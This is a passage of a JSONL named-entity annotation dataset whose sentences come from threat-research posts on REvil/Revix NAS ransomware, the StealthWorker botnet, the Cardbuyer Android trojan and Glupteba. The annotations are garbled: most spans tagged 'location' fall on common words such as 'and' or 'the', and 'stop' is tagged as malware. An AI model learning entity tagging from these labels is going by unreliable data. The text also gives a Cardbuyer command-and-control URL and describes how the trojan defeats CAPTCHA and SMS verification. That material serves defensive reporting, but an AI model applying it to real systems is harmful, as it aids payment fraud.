Security Products Overview to get Trend Micro Security.","entities":[{"id":17116,"label":"location","start_offset":15,"end_offset":23}],"relations":[],"Comments":[]} -{"id":5563,"text":"\" Tags Cloud | APT & Targeted Attacks |","entities":[{"id":17118,"label":"location","start_offset":12,"end_offset":17},{"id":17119,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]} {"id":5564,"text":"Cyber Crime | Expert Perspective | Cyber Threats","entities":[],"relations":[],"Comments":[]} -{"id":5565,"text":"Threats to the internet of things (IoT) continue to evolve as users and businesses grow increasingly reliant on these tools for constant connectivity, access to information and data, and workflow continuity.","entities":[{"id":17120,"label":"location","start_offset":68,"end_offset":71},{"id":17121,"label":"location","start_offset":173,"end_offset":176},{"id":17122,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]} -{"id":5566,"text":"Cybercriminals have taken notice of this dependence and now regularly update their known tools and routines to include network-attached storage (NAS) devices to their list of targets, knowing full well that users rely on these devices for storing and backing up files in both modern homes and businesses.","entities":[{"id":17123,"label":"location","start_offset":52,"end_offset":55},{"id":17124,"label":"location","start_offset":95,"end_offset":98},{"id":17125,"label":"location","start_offset":167,"end_offset":171},{"id":17126,"label":"location","start_offset":247,"end_offset":250},{"id":17127,"label":"location","start_offset":283,"end_offset":288},{"id":17128,"label":"location","start_offset":289,"end_offset":292}],"relations":[],"Comments":[]} -{"id":5567,"text":"More importantly, cybercriminals are aware that these tools hold valuable information and have only minimal security measures.","entities":[{"id":17129,"label":"location","start_offset":33,"end_offset":36},{"id":17130,"label":"location","start_offset":86,"end_offset":89},{"id":17131,"label":"location","start_offset":95,"end_offset":99},{"id":17132,"label":"location","start_offset":108,"end_offset":116}],"relations":[],"Comments":[]} -{"id":5568,"text":"In our latest research paper, “Backing Your Backup: Defending NAS Devices Against Evolving Threats,” we studied the current infrastructure, environment, threats, and recommendations for defending systems against current threats targeting NAS devices.","entities":[{"id":17134,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]} -{"id":5569,"text":"To emphasize the importance of mitigating the risks of malware infection and targeted attacks on NAS devices, we analyzed the technical details of two malware families that potentially included NAS devices in their existing business models, the REvil ransomware and StealthWorker botnets.","entities":[{"id":17135,"label":"location","start_offset":73,"end_offset":76},{"id":17138,"label":"location","start_offset":262,"end_offset":265}],"relations":[],"Comments":[]} {"id":5570,"text":"REvil","entities":[{"id":17139,"label":"threat-actor","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} {"id":5571,"text":"While the disappearance of REvil (aka Sodinokibi) in mid-2021 is filled with uncertainty, security researchers have found a Linux version of the REvil ransomware that they have dubbed as Revix.","entities":[{"id":17140,"label":"threat-actor","start_offset":27,"end_offset":32},{"id":17141,"label":"threat-actor","start_offset":38,"end_offset":48},{"id":17143,"label":"location","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]} {"id":5572,"text":"After analyzing the samples, we found four different versions of the malware, all of which rely on an embedded JavaScript Observed Notation (JSON)-based configuration to set parameters before encrypting files.","entities":[],"relations":[],"Comments":[]} {"id":5573,"text":" Figure 1. Revix’s JSON-based configuration ","entities":[],"relations":[],"Comments":[]} -{"id":5574,"text":"While some parameters are ignored by the ransomware, these are most important ones that we observed: pk: A 64-byte key nbody: The ransomware note text-encoded in base64 nname: The ransomware note name ext: The extension added to encrypted files After compromising the system, the malicious actors execute it manually on a NAS device to encrypt files and create a ransom note with a unique key per victim.","entities":[{"id":17148,"label":"location","start_offset":22,"end_offset":25},{"id":17149,"label":"location","start_offset":59,"end_offset":62},{"id":17150,"label":"location","start_offset":63,"end_offset":67},{"id":17152,"label":"location","start_offset":211,"end_offset":220},{"id":17153,"label":"location","start_offset":352,"end_offset":355},{"id":17154,"label":"location","start_offset":365,"end_offset":371}],"relations":[],"Comments":[]} {"id":5575,"text":" Figure 2. Revix encrypting a QNAP NAS device Figure 3.","entities":[],"relations":[],"Comments":[]} {"id":5576,"text":"Revix","entities":[],"relations":[],"Comments":[]} -{"id":5577,"text":"ransom note","entities":[{"id":17157,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} -{"id":5578,"text":" While the differences between the versions are minor, the group advertised the capability of encrypting NAS devices as early as May 2021 in underground forums.","entities":[{"id":17158,"label":"location","start_offset":27,"end_offset":34},{"id":17159,"label":"location","start_offset":48,"end_offset":51},{"id":17160,"label":"location","start_offset":52,"end_offset":57},{"id":17161,"label":"location","start_offset":124,"end_offset":129}],"relations":[],"Comments":[]} -{"id":5579,"text":"Given the vulnerability of NAS devices that are directly connected to the internet, we can expect a new wave of ransomware attacks affecting these gadgets in the future.","entities":[{"id":17163,"label":"location","start_offset":0,"end_offset":5},{"id":17164,"label":"location","start_offset":44,"end_offset":47},{"id":17165,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]} {"id":5580,"text":"StealthWorker","entities":[],"relations":[],"Comments":[]} -{"id":5581,"text":"In 2021, security researchers found brute-force attacks launched from the StealthWorker botnet on Synology NAS devices.","entities":[{"id":17168,"label":"location","start_offset":9,"end_offset":17},{"id":17169,"label":"location","start_offset":42,"end_offset":47}],"relations":[],"Comments":[]} -{"id":5582,"text":"We found multiple samples for this botnet and confirmed that newer versions are capable of brute-forcing and compromising servers running on several products and systems such as WooCommerce and WordPress.","entities":[{"id":17172,"label":"location","start_offset":42,"end_offset":45},{"id":17173,"label":"location","start_offset":76,"end_offset":79},{"id":17174,"label":"location","start_offset":105,"end_offset":108},{"id":17175,"label":"location","start_offset":158,"end_offset":161},{"id":17177,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]} -{"id":5583,"text":"This botnet is also designed to generally attack any web server using HTTP authentication and other NAS devices like QNAP.","entities":[{"id":17178,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]} -{"id":5584,"text":"Valid credentials found during compromise are then uploaded to the command-and-control (C&C) server, usually at port 5028\/TCP. Figure 4.","entities":[{"id":17179,"label":"location","start_offset":42,"end_offset":45},{"id":17180,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]} {"id":5585,"text":"StealthWorker","entities":[],"relations":[],"Comments":[]} -{"id":5586,"text":"brute-force function targeting QNAP devices","entities":[{"id":17183,"label":"location","start_offset":6,"end_offset":11}],"relations":[],"Comments":[]} {"id":5587,"text":" Figure 5. Infected Linux device connected to a C&C server ","entities":[],"relations":[],"Comments":[]} {"id":5588,"text":"How to protect NAS devices","entities":[],"relations":[],"Comments":[]} -{"id":5589,"text":"Without proper security implemented in NAS devices, users and businesses will continue to be targeted since these tools can be used as entry points for information theft, malware infection, and the disruption of operations, among others.","entities":[{"id":17185,"label":"location","start_offset":15,"end_offset":23},{"id":17186,"label":"location","start_offset":58,"end_offset":61},{"id":17187,"label":"location","start_offset":73,"end_offset":77},{"id":17188,"label":"location","start_offset":120,"end_offset":123},{"id":17189,"label":"location","start_offset":141,"end_offset":147},{"id":17190,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]} {"id":5590,"text":"Here are some best practices to protect your systems against threats that leverage the gaps in your NAS devices: ","entities":[{"id":17191,"label":"location","start_offset":5,"end_offset":8},{"id":17192,"label":"location","start_offset":14,"end_offset":18},{"id":17193,"label":"malware","start_offset":74,"end_offset":82}],"relations":[],"Comments":[]} {"id":5591,"text":"Avoid connecting a NAS device directly to the internet.","entities":[],"relations":[],"Comments":[]} {"id":5592,"text":"Regularly change the credentials for accessing an NAS device.","entities":[],"relations":[],"Comments":[]} -{"id":5593,"text":"Never use the preset default credentials that come with the device as these are well-known to malicious actors.","entities":[{"id":17194,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":5594,"text":"Enable two-factor authentication (2FA) for additional security.","entities":[{"id":17196,"label":"location","start_offset":54,"end_offset":62}],"relations":[],"Comments":[]} -{"id":5595,"text":"Uninstall applications, software, and services that are no longer in use as these can be abused as entry points.","entities":[{"id":17197,"label":"location","start_offset":34,"end_offset":37},{"id":17198,"label":"location","start_offset":52,"end_offset":55},{"id":17199,"label":"location","start_offset":82,"end_offset":85},{"id":17200,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]} -{"id":5596,"text":"Regularly check NAS manufacturers’ online security guides, such as Synology’s recommended best practices and QNAP’s recently released suggestions on how to help defend their devices against additional exposure on the internet.","entities":[{"id":17201,"label":"location","start_offset":10,"end_offset":15},{"id":17202,"label":"location","start_offset":42,"end_offset":50},{"id":17204,"label":"location","start_offset":90,"end_offset":94},{"id":17205,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} -{"id":5597,"text":" To find more technical details, threats, insights, and recommendations in protecting your NAS device, download our research “Backing Your Backup: Defending NAS Devices Against Evolving Threats.” Tags Malware | Cyber Crime | Exploits & Vulnerabilities | Research | Smart Home | Cyber Threats | APT & Targeted Attacks | Endpoints | IoT | Ransomware | Articles, News, Reports","entities":[{"id":17207,"label":"location","start_offset":52,"end_offset":55},{"id":17209,"label":"location","start_offset":277,"end_offset":281},{"id":17210,"label":"location","start_offset":300,"end_offset":303}],"relations":[],"Comments":[]} {"id":5598,"text":"On April 21st our WildFire analysis cloud detected a new Android Trojan, which is currently completely undetected in VirusTotal and uses a new combination of tactics to make money for the author.","entities":[{"id":17212,"label":"tools","start_offset":18,"end_offset":26},{"id":17213,"label":"location","start_offset":36,"end_offset":41},{"id":17215,"label":"location","start_offset":128,"end_offset":131},{"id":17216,"label":"location","start_offset":174,"end_offset":179}],"relations":[],"Comments":[]} -{"id":5599,"text":"Based on the state of the code and the limited distribution we believe we may have detected this malware during a testing phase, before the attacker released it into the wild through an app store or other means.","entities":[{"id":17217,"label":"location","start_offset":31,"end_offset":34},{"id":17218,"label":"location","start_offset":74,"end_offset":77},{"id":17219,"label":"location","start_offset":205,"end_offset":210}],"relations":[],"Comments":[]} -{"id":5600,"text":"We’ve named the Trojan Cardbuyer because of the way it converts an infection into cash for the author.","entities":[{"id":17221,"label":"location","start_offset":48,"end_offset":51},{"id":17222,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} -{"id":5601,"text":" Cardbuyer is much “smarter” compared to the existing Android malware families that we have ever seen.","entities":[{"id":17224,"label":"location","start_offset":14,"end_offset":18},{"id":17225,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]} -{"id":5602,"text":"Specifically, this malware sample can solve CAPTCHA challenges, emulate user’s behaviors, parse SMS’s content from different vendors, and then automatically reply the confirmation message accordingly.","entities":[{"id":17226,"label":"location","start_offset":27,"end_offset":33},{"id":17227,"label":"location","start_offset":34,"end_offset":37},{"id":17228,"label":"location","start_offset":102,"end_offset":109},{"id":17229,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} {"id":5603,"text":"Code analysis shows that this malware sample can defeat the existing multi-factor verification procedures of many popular game platforms or online payment systems, and impersonate the smartphone user in making the purchase.","entities":[{"id":17230,"label":"tools","start_offset":0,"end_offset":13},{"id":17231,"label":"location","start_offset":38,"end_offset":44},{"id":17232,"label":"location","start_offset":45,"end_offset":48},{"id":17233,"label":"location","start_offset":109,"end_offset":113},{"id":17234,"label":"location","start_offset":164,"end_offset":167},{"id":17235,"label":"location","start_offset":214,"end_offset":222}],"relations":[],"Comments":[]} -{"id":5604,"text":" While some Android Trojans send premium SMS messages or steal banking credentials, Cardbuyer specifically targets Chinese video games and mobile platforms by purchasing pre-paid and top-up cards.","entities":[{"id":17236,"label":"location","start_offset":33,"end_offset":40},{"id":17239,"label":"location","start_offset":135,"end_offset":138},{"id":17240,"label":"location","start_offset":139,"end_offset":145},{"id":17241,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]} -{"id":5605,"text":"The attacker can then convert these cards into cash, while the victim’s mobile account is charged for the purchase.","entities":[{"id":17242,"label":"location","start_offset":13,"end_offset":16},{"id":17243,"label":"location","start_offset":47,"end_offset":51},{"id":17244,"label":"location","start_offset":72,"end_offset":78},{"id":17245,"label":"location","start_offset":106,"end_offset":114}],"relations":[],"Comments":[]} -{"id":5606,"text":"It proves again that the SMS channel is insecure for user authentication in online purchase confirmation.","entities":[{"id":17246,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]} -{"id":5607,"text":" Cardbuyer’s code allows it to target any of the following services and evade their SMS-based authentication mechanisms:","entities":[{"id":17248,"label":"location","start_offset":31,"end_offset":37},{"id":17249,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} -{"id":5608,"text":" The vulnerability that Cardbuyer exploits is that many services in China rely on sending and receiving SMS messages to authorize mobile purchases.","entities":[{"id":17251,"label":"location","start_offset":51,"end_offset":55},{"id":17253,"label":"location","start_offset":90,"end_offset":93},{"id":17254,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]} -{"id":5609,"text":"This assumes that the mobile phone making the purchase is not only in the possession of the owner, but also that malware is not intercepting their messages.","entities":[{"id":17255,"label":"location","start_offset":22,"end_offset":28},{"id":17256,"label":"location","start_offset":46,"end_offset":54},{"id":17257,"label":"location","start_offset":62,"end_offset":66},{"id":17258,"label":"location","start_offset":74,"end_offset":84}],"relations":[],"Comments":[]} -{"id":5610,"text":"The service providers have recognized that this is a problem and placed multiple hurdles along the way, but Cardbuyer jumps over each of them.","entities":[{"id":17259,"label":"location","start_offset":61,"end_offset":64},{"id":17260,"label":"location","start_offset":89,"end_offset":94},{"id":17261,"label":"location","start_offset":99,"end_offset":102},{"id":17263,"label":"location","start_offset":137,"end_offset":141}],"relations":[],"Comments":[]} -{"id":5611,"text":"Cardbuyer in Action ","entities":[{"id":17264,"label":"location","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]} -{"id":5612,"text":"The sample of Cardbuyer we detected this week is disguised as “sexy” video application.","entities":[{"id":17265,"label":"location","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]} {"id":5613,"text":"The name is看片神器 which translates to “a super tool for watching videos” and the icon is a provocative photo.","entities":[{"id":17268,"label":"location","start_offset":45,"end_offset":49},{"id":17269,"label":"location","start_offset":71,"end_offset":74},{"id":17270,"label":"tools","start_offset":101,"end_offset":106}],"relations":[],"Comments":[]} -{"id":5614,"text":"The Trojan was detected by WildFire when a user at a university in China downloaded an Android APK file from fdown.u.qiniudn.com, a Chinese cloud-based file storage service.","entities":[{"id":17272,"label":"location","start_offset":53,"end_offset":63},{"id":17276,"label":"location","start_offset":140,"end_offset":145}],"relations":[],"Comments":[]} -{"id":5615,"text":"After installation, Cardbuyer will be launched automatically by system events and run stealthily in the background.","entities":[{"id":17278,"label":"location","start_offset":30,"end_offset":34},{"id":17279,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]} {"id":5616,"text":"Once launched, it contacts a command and control server hosted in China using an HTTP GET request to the following website to register the infection with the attacker: http:\/\/14.17.95.205:21910\/my\/service.php.","entities":[{"id":17280,"label":"location","start_offset":37,"end_offset":40},{"id":17282,"label":"location","start_offset":126,"end_offset":134},{"id":17283,"label":"URL","start_offset":168,"end_offset":208}],"relations":[],"Comments":[]} -{"id":5617,"text":" Next, Cardbuyer begins to methodically jump each of the hurdles put in place by tianxiafu.cn, a third party gateway for purchasing game cards for Perfect World, one of the biggest digital game vendors in China.","entities":[{"id":17287,"label":"location","start_offset":109,"end_offset":116},{"id":17289,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]} -{"id":5618,"text":"The first hurdle to pass is a CAPTCHA, which is intended to prevent machines from ever attempting to log into the tianxiafu.cn website.","entities":[{"id":17292,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} -{"id":5619,"text":"It asks users to look at some slightly skewed numbers (see below) and type them into a box.","entities":[{"id":17294,"label":"location","start_offset":66,"end_offset":69},{"id":17295,"label":"location","start_offset":70,"end_offset":74},{"id":17296,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]} -{"id":5620,"text":"To add context for the following webpage (Figure 1), written in Chinese: the user is asked to recognize the CAPTCHA image and reply the recognized verification code back to the vendor in order to continue the purchase procedure.","entities":[{"id":17299,"label":"location","start_offset":122,"end_offset":125},{"id":17300,"label":"location","start_offset":177,"end_offset":183},{"id":17301,"label":"location","start_offset":209,"end_offset":217}],"relations":[],"Comments":[]} {"id":5621,"text":" Figure 1.","entities":[],"relations":[],"Comments":[]} -{"id":5622,"text":"The payment page of tianxiafu.cn Cardbuyer evades this CAPTCHA by downloading the CAPTCHA image (Figure 2) and recognizing the image using a Chinese cloud based CAPTCHA solving service named UUDama.","entities":[{"id":17303,"label":"location","start_offset":12,"end_offset":16},{"id":17307,"label":"location","start_offset":108,"end_offset":111},{"id":17309,"label":"location","start_offset":150,"end_offset":155}],"relations":[],"Comments":[]} {"id":5623,"text":"UUDama uses a combination of machines and humans to quickly take CAPTCHA images submitted by Cardbuyer (or anyone else who will pay) and turn them into the expected text within 60 seconds.","entities":[{"id":17310,"label":"location","start_offset":38,"end_offset":41},{"id":17312,"label":"location","start_offset":123,"end_offset":127},{"id":17313,"label":"location","start_offset":133,"end_offset":136},{"id":17314,"label":"location","start_offset":142,"end_offset":146},{"id":17315,"label":"TIME","start_offset":177,"end_offset":187}],"relations":[],"Comments":[]} -{"id":5624,"text":"We are even able to capture the username “liweixw” and its password for malware to login into the UUDAMA website, (Figure 3). Figure 2.","entities":[{"id":17316,"label":"location","start_offset":3,"end_offset":6},{"id":17317,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]} -{"id":5625,"text":"Cardbuyer retrieve the CAPTCHA image from webpage and get recognition result from UUDama Figure 3.","entities":[{"id":17321,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} -{"id":5626,"text":"Cardbuyer will login into UUDAMA website with attacker’s account ","entities":[{"id":17325,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]} -{"id":5627,"text":"With the correct numbers in hand, Cardbuyer then assembles a POST request containing the necessary details to initiate a purchase from the infected mobile phone.","entities":[{"id":17327,"label":"location","start_offset":28,"end_offset":32},{"id":17329,"label":"location","start_offset":61,"end_offset":65},{"id":17330,"label":"location","start_offset":121,"end_offset":129},{"id":17331,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]} -{"id":5628,"text":"This includes the phones mobile number, as well as the payment method, which is always to charge the user’s China Mobile account.","entities":[{"id":17332,"label":"location","start_offset":25,"end_offset":31}],"relations":[],"Comments":[]} {"id":5629,"text":"To avoid having this request rejected by the server, the Trojan alters its user-agent string to appear as Internet Explorer 9 running on Windows 7.","entities":[],"relations":[],"Comments":[]} {"id":5630,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]} -{"id":5631,"text":"Cardbuyer input user's phone number and choose to pay by SMS At this point, Tianxiafu has not yet authenticated that the person making the purchase actually owns the phone in question.","entities":[{"id":17336,"label":"location","start_offset":36,"end_offset":39},{"id":17337,"label":"location","start_offset":70,"end_offset":75},{"id":17339,"label":"location","start_offset":122,"end_offset":128},{"id":17340,"label":"location","start_offset":140,"end_offset":148}],"relations":[],"Comments":[]} -{"id":5632,"text":"To do that, it generates a one-time-code and asks the user to send an SMS message containing it to a specific phone number.","entities":[{"id":17341,"label":"location","start_offset":27,"end_offset":30},{"id":17342,"label":"location","start_offset":31,"end_offset":35},{"id":17343,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]} {"id":5633,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]} -{"id":5634,"text":"The payment platform asks user to send a one-time-code to a specific phone service number (Translation of message in the figure: “Information submitted successfully! Please use the phone number you submitted 139********” to send a command code 001942415 to 1065800886172, and follow the instructions shown in replied SMS message to confirm the payment”, the 139******** is the current victim user’s phone number) To pass this hurdle, Cardbuyer uses a regular expression to parse the numbers out of the websites HTML and sends the message using Android’s built-in SMS API.","entities":[{"id":17345,"label":"location","start_offset":41,"end_offset":44},{"id":17346,"label":"location","start_offset":45,"end_offset":49},{"id":17347,"label":"location","start_offset":272,"end_offset":275},{"id":17349,"label":"location","start_offset":517,"end_offset":520}],"relations":[],"Comments":[]} {"id":5635,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]} -{"id":5636,"text":"Cardbuyer parses command code and phone number from web page ","entities":[{"id":17352,"label":"location","start_offset":30,"end_offset":33},{"id":17353,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]} {"id":5637,"text":"The complicated user verification procedure continues.","entities":[],"relations":[],"Comments":[]} -{"id":5638,"text":"After receiving the command code, the vendor will send a SMS verification message to the user.","entities":[{"id":17354,"label":"location","start_offset":38,"end_offset":44},{"id":17355,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]} -{"id":5639,"text":"The user is required to follow instructions in described in this SMS’s content to finally confirm the purchase.","entities":[{"id":17356,"label":"location","start_offset":71,"end_offset":78},{"id":17357,"label":"location","start_offset":102,"end_offset":110}],"relations":[],"Comments":[]} -{"id":5640,"text":"To defeat the SMS based verification, Cardbuyer registers a BroadcastReceiver to receive all incoming SMS, and registers a ContentObserver to monitor any change of the SMS’s inbox.","entities":[{"id":17359,"label":"location","start_offset":107,"end_offset":110},{"id":17360,"label":"location","start_offset":142,"end_offset":149}],"relations":[],"Comments":[]} -{"id":5641,"text":"When a SMS arrives to the infected device, Cardbuyer will intercept and parse it.","entities":[{"id":17362,"label":"location","start_offset":53,"end_offset":57},{"id":17363,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} -{"id":5642,"text":"With conditions, this SMS message may be uploaded to the attack through the C&C communication or deleted (Figure 7). Figure 7.","entities":[{"id":17364,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]} -{"id":5643,"text":"SMS from targeted vendors will be intercepted and uploaded to Cardbuyer's C&C server More interesting, the Cardbuyer is “intelligent” and capable of parsing SMS’s content from different vendors, and take actions in a more intelligent way than any existing Android Trojans found.","entities":[{"id":17367,"label":"location","start_offset":26,"end_offset":30},{"id":17368,"label":"location","start_offset":46,"end_offset":49},{"id":17371,"label":"location","start_offset":135,"end_offset":138},{"id":17372,"label":"location","start_offset":164,"end_offset":171},{"id":17373,"label":"location","start_offset":196,"end_offset":199},{"id":17374,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]} {"id":5644,"text":"In Figure 8, we show the patterns for different types of SMS contents.","entities":[],"relations":[],"Comments":[]} -{"id":5645,"text":"For example, for any SMS related to the Perfect World, it will try to match its content with two pre-defined regular expressions (Figure 8), search for numbers in it by specified format, and sent SMS of some matched content to matched phone number (Figure 9). Figure 8.","entities":[{"id":17376,"label":"location","start_offset":48,"end_offset":53},{"id":17377,"label":"location","start_offset":58,"end_offset":62},{"id":17378,"label":"location","start_offset":80,"end_offset":87},{"id":17380,"label":"location","start_offset":187,"end_offset":190},{"id":17381,"label":"location","start_offset":216,"end_offset":223}],"relations":[],"Comments":[]} -{"id":5646,"text":"Matching SMS content with different format and extract information accordingly Figure 9.","entities":[{"id":17384,"label":"location","start_offset":13,"end_offset":20},{"id":17385,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]} -{"id":5647,"text":"The Cardbuyer sends replied SMS to complete the payment verification procedure At this point the Trojan has verified ownership of the phone and the service sends an SMS message to the device containing a code that can be redeemed for credit with vendors like Perfect World.","entities":[{"id":17388,"label":"location","start_offset":88,"end_offset":93},{"id":17389,"label":"location","start_offset":141,"end_offset":144},{"id":17390,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]} {"id":5648,"text":"From here the attacker can sell the code to someone else for cash, or redeem it directly. While in the example here Cardbuyer targeted the Tianxiafu service, all of the services listed above are targets already pre-defined in its source code.","entities":[{"id":17392,"label":"location","start_offset":23,"end_offset":26},{"id":17393,"label":"location","start_offset":61,"end_offset":65},{"id":17396,"label":"location","start_offset":192,"end_offset":195},{"id":17397,"label":"attack-pattern","start_offset":231,"end_offset":237}],"relations":[],"Comments":[]} {"id":5649,"text":"Any service that uses SMS for authentication of information or proof that a user is authorizing a charge is vulnerable to Trojan attacks.","entities":[],"relations":[],"Comments":[]} -{"id":5650,"text":"Palo Alto Networks has already released malware signatures for the file, and more details on the sample are available in the ThreatVault.","entities":[{"id":17399,"label":"location","start_offset":73,"end_offset":76},{"id":17400,"label":"location","start_offset":97,"end_offset":103},{"id":17401,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]} {"id":5651,"text":"Join us Wednesday, April 30 at 3 p.m. EDT, for a new webinar, “Need to Defeat APTs?","entities":[{"id":17404,"label":"TIME","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]} -{"id":5652,"text":"Tony Sager Explains Where We’re At With Live Threat Detection Automation.” Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":17407,"label":"location","start_offset":139,"end_offset":142},{"id":17408,"label":"location","start_offset":168,"end_offset":173}],"relations":[],"Comments":[]} -{"id":5653,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":17409,"label":"location","start_offset":8,"end_offset":12},{"id":17410,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]} {"id":5654,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]} {"id":5655,"text":"It was last updated on May 12, 2022.","entities":[],"relations":[],"Comments":[]} {"id":5656,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":17413,"label":"location","start_offset":119,"end_offset":122},{"id":17414,"label":"malware","start_offset":123,"end_offset":127},{"id":17415,"label":"location","start_offset":157,"end_offset":160},{"id":17416,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]} -{"id":5657,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":17419,"label":"location","start_offset":43,"end_offset":46},{"id":17420,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]} {"id":5658,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[{"id":17421,"label":"tools","start_offset":48,"end_offset":54},{"id":17422,"label":"location","start_offset":55,"end_offset":58},{"id":17423,"label":"location","start_offset":59,"end_offset":67},{"id":17424,"label":"location","start_offset":84,"end_offset":87},{"id":17425,"label":"location","start_offset":121,"end_offset":130}],"relations":[],"Comments":[]} {"id":5659,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":17428,"label":"location","start_offset":37,"end_offset":43},{"id":17429,"label":"malware","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]} -{"id":5660,"text":"We believe this action will have a significant impact on Glupteba's operations.","entities":[{"id":17430,"label":"location","start_offset":16,"end_offset":22},{"id":17431,"label":"location","start_offset":23,"end_offset":27},{"id":17432,"label":"location","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]} -{"id":5661,"text":"However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.","entities":[{"id":17435,"label":"location","start_offset":35,"end_offset":38},{"id":17436,"label":"location","start_offset":39,"end_offset":45},{"id":17437,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]} -{"id":5662,"text":"Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.","entities":[{"id":17439,"label":"location","start_offset":44,"end_offset":47},{"id":17440,"label":"location","start_offset":57,"end_offset":61},{"id":17441,"label":"location","start_offset":105,"end_offset":108},{"id":17442,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]} -{"id":5663,"text":"TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.","entities":[{"id":17447,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} {"id":5664,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":17449,"label":"malware","start_offset":4,"end_offset":12},{"id":17450,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]} {"id":5665,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":17451,"label":"location","start_offset":16,"end_offset":20},{"id":17453,"label":"malware","start_offset":70,"end_offset":78},{"id":17454,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]} {"id":5666,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":17455,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]} {"id":5667,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.","entities":[{"id":17456,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} {"id":5668,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":17458,"label":"location","start_offset":73,"end_offset":83},{"id":17459,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]} -{"id":5669,"text":"These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.","entities":[{"id":17460,"label":"location","start_offset":129,"end_offset":132},{"id":17461,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]} {"id":5670,"text":"This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":17466,"label":"malware","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]} -{"id":5671,"text":"We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google 